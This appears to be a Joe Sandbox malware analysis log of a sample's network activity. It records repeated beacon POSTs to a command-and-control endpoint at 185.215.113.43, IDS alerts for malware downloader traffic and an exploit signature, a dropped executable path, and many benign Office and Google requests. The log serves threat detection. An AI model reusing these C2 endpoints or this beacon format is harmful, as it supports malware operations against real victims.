Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 160Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 41 32 44 37 35 42 34 35 45 38 32 44 31 32 46 43 37 36 31 42 41 33 42 42 33 36 35 46 46 35 37 34 33 33 31 45 34 32 38 36 37 37 39 42 41 45 34 35 33 39 37 34 32 39 39 43 30 42 45 35 35 42 34 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77BA2D75B45E82D12FC761BA3BB365FF574331E4286779BAE453974299C0BE55B4
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 13.107.246.45 13.107.246.45

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: Joe Sandbox View	JA3 fingerprint: 28a2c9bd18a11de089ef85a160da29e4
Source: Joe Sandbox View	JA3 fingerprint: 3b5074b1b5d032e5620f69f9f700ff0e
Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49709 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:49834 -> 185.215.113.206:80
Source: Network traffic	Suricata IDS: 2803304 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern HCa : 192.168.2.6:50018 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50114 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.6:50119 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2028371 - Severity 3 - ET JA3 Hash - Possible Malware - Fake Firefox Font Update : 192.168.2.6:50223 -> 20.189.173.16:443
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:49768
Source: Network traffic	Suricata IDS: 2022930 - Severity 1 - ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow : 4.175.87.197:443 -> 192.168.2.6:50091

Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 173.222.162.64
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.206

Source: C:\Users\user\DocumentsKJECFHCBKK.exe

Code function: 22_2_0028E0C0 recv,recv,recv,recv,

22_2_0028E0C0

Source: global traffic	HTTP traffic detected: GET /rules/other-Win32-v19.bundle HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /complete/search?client=chrome-omni&gs_ri=chrome-ext-ansg&xssi=t&q=&oit=0&oft=1&pgcl=20&gs_rn=42&sugkey=AIzaSyBOti4mM-6x9WDnZIjIeyEU21OpBXqWBgw HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120402v21s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120609v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120608v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224902v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120600v4s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /async/ddljson?async=ntp:2 HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: noneSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1Host: www.google.comConnection: keep-aliveX-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQi5ys0BCOnSzQEI6NXNAQjL1s0BCKjYzQEI+cDUFRi60s0BGOuNpRc=Sec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /async/newtab_promos HTTP/1.1Host: www.google.comConnection: keep-aliveSec-Fetch-Site: cross-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /rules/rule120610v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120611v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120613v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120612v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120614v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120615v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120616v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120617v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120619v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120618v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120620v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120621v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120623v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120622v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120624v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120626v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120625v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120627v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120628v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120629v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120630v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120631v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120632v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120633v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120634v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120635v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120638v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120637v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120636v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120639v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /fs/windows/config.json HTTP/1.1Connection: Keep-AliveAccept: /Accept-Encoding: identityIf-Unmodified-Since: Tue, 16 May 2017 22:58:00 GMTRange: bytes=0-2147483646User-Agent: Microsoft BITS/7.8Host: fs.microsoft.com
Source: global traffic	HTTP traffic detected: GET /SLS/%7B522D76A4-93E1-47F8-B8CE-07C937AD1A1E%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=PZuOKh1mLU32zkU&MD=bagdl2gm HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule120640v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120641v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120642v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120643v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120644v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120645v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120647v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120646v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120648v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120649v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120652v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120653v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120654v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120656v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120655v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120657v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120658v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
